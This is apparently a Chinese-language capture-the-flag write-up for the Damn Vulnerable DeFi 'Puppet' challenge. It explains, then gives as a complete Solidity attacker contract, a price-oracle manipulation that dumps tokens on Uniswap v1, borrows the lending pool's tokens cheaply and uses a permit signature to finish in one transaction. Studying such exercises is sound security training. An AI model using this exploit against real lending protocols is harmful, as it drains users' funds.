为了系统的学习solidity和foundry,我基于foundry测试框架重新编写damnvulnerable-defi的题解,欢迎交流和共建~🎉
这道题的解题思路和上题类似,在pool提供了borrow方法中使用了uniswap作为token的价格预言机,那么我们的攻击思路就是通过操纵uniswap中token的价格以在pool中低价买入token
本题提供的是uniswap v1合约,且题目只给了合约的abi和bytecode,首先整理下uniswap v1的接口及我们需要用到的方法
// 计算卖出token能换出多少eth
function tokenToEthSwapInput(uint256 tokens_sold, uint256 min_eth, uint256 deadline) external returns (uint256);
// 计算买入token需要多少eth
function ethToTokenSwapOutput(uint256 tokens_bought, uint256 deadline) external returns (uint256);
完整的攻击流程如下图所示:
tokenToEthSwapInput
以卖出手中的token获得eth,从而降低在uniswap中的token价格lendingPool.borrow
方法,以低价买入tokenethToTokenSwapOutput
,用手中的eth买入token来恢复uniswap中的token价格
通过将这三步在一笔交易内完成,player可以获取lendingPool中的全部token从而实现攻击目标
在具体实现时,值得注意的是授权步骤,因为题目要求在一笔交易内完成,但是使用uniswap又需要approve,因此涉及从player到攻击合约到uniswap的三级approve,在一笔交易内是无法实现的。
但通过看DamnValuableToken
的实现代码,可以看到它实现的ERC20协议中包括了拓展的EIP- 2612 LOGIC
,包含的就是permit逻辑,即通过用户在链下预签名,再提供到链上进行验证,从而实现了代理approve的机制,具体关于ERC-2612可以看另一篇文章的介绍
完整的合约代码如下:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../../src/puppet/PuppetPool.sol";
import "../../src/DamnValuableToken.sol";
contract Attacker {
DamnValuableToken token;
PuppetPool pool;
receive() external payable{} // receive eth from uniswap
constructor(uint8 v, bytes32 r, bytes32 s,
uint256 playerAmount, uint256 poolAmount,
address _pool, address _uniswapPair, address _token) payable{
pool = PuppetPool(_pool);
token = DamnValuableToken(_token);
prepareAttack(v, r, s, playerAmount, _uniswapPair);
// swap token for eth --> lower token price in uniswap
_uniswapPair.call(abi.encodeWithSignature(
"tokenToEthSwapInput(uint256,uint256,uint256)",
playerAmount,
1,
type(uint256).max
));
// borrow token from puppt pool
uint256 ethValue = pool.calculateDepositRequired(poolAmount);
pool.borrow{value: ethValue}(
poolAmount, msg.sender
);
// repay tokens to uniswap --> recovery balance in uniswap
_uniswapPair.call{value: 10 ether}(
abi.encodeWithSignature(
"ethToTokenSwapOutput(uint256,uint256)",
playerAmount,
type(uint256).max
)
);
token.transfer(msg.sender, token.balanceOf(address(this)));
payable(msg.sender).transfer(address(this).balance);
}
function prepareAttack(uint8 v, bytes32 r, bytes32 s, uint256 amount, address _uniswapPair) internal {
// tranfser player token to attacker contract
token.permit(msg.sender, address(this), type(uint256).max, type(uint256).max, v,r,s);
token.transferFrom(msg.sender, address(this), amount);
token.approve(_uniswapPair, amount);
}
}